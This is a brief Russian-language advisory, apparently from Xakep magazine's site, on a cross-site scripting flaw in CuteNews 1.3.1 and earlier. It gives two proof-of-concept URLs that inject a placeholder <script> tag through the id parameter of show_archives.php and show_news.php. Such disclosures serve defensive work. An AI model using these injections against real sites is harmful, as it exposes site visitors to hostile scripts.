CSS в CuteNews

Рекомендуем почитать:

Хакер #306. OAuth от и до

• Содержание выпуска
• Подписка на «Хакер»-60%

Уязвима: CuteNews 1.3.1 и ранние версии

Пример:

http://attacker/show_archives.php?subaction= showcomments&id=<script>CSS</script>
&archive=&start_from=&ucat=
http://attacker/show_news.php?subaction= showcomments&id=<script>CSS</script>
&archive=&start_from=&ucat=&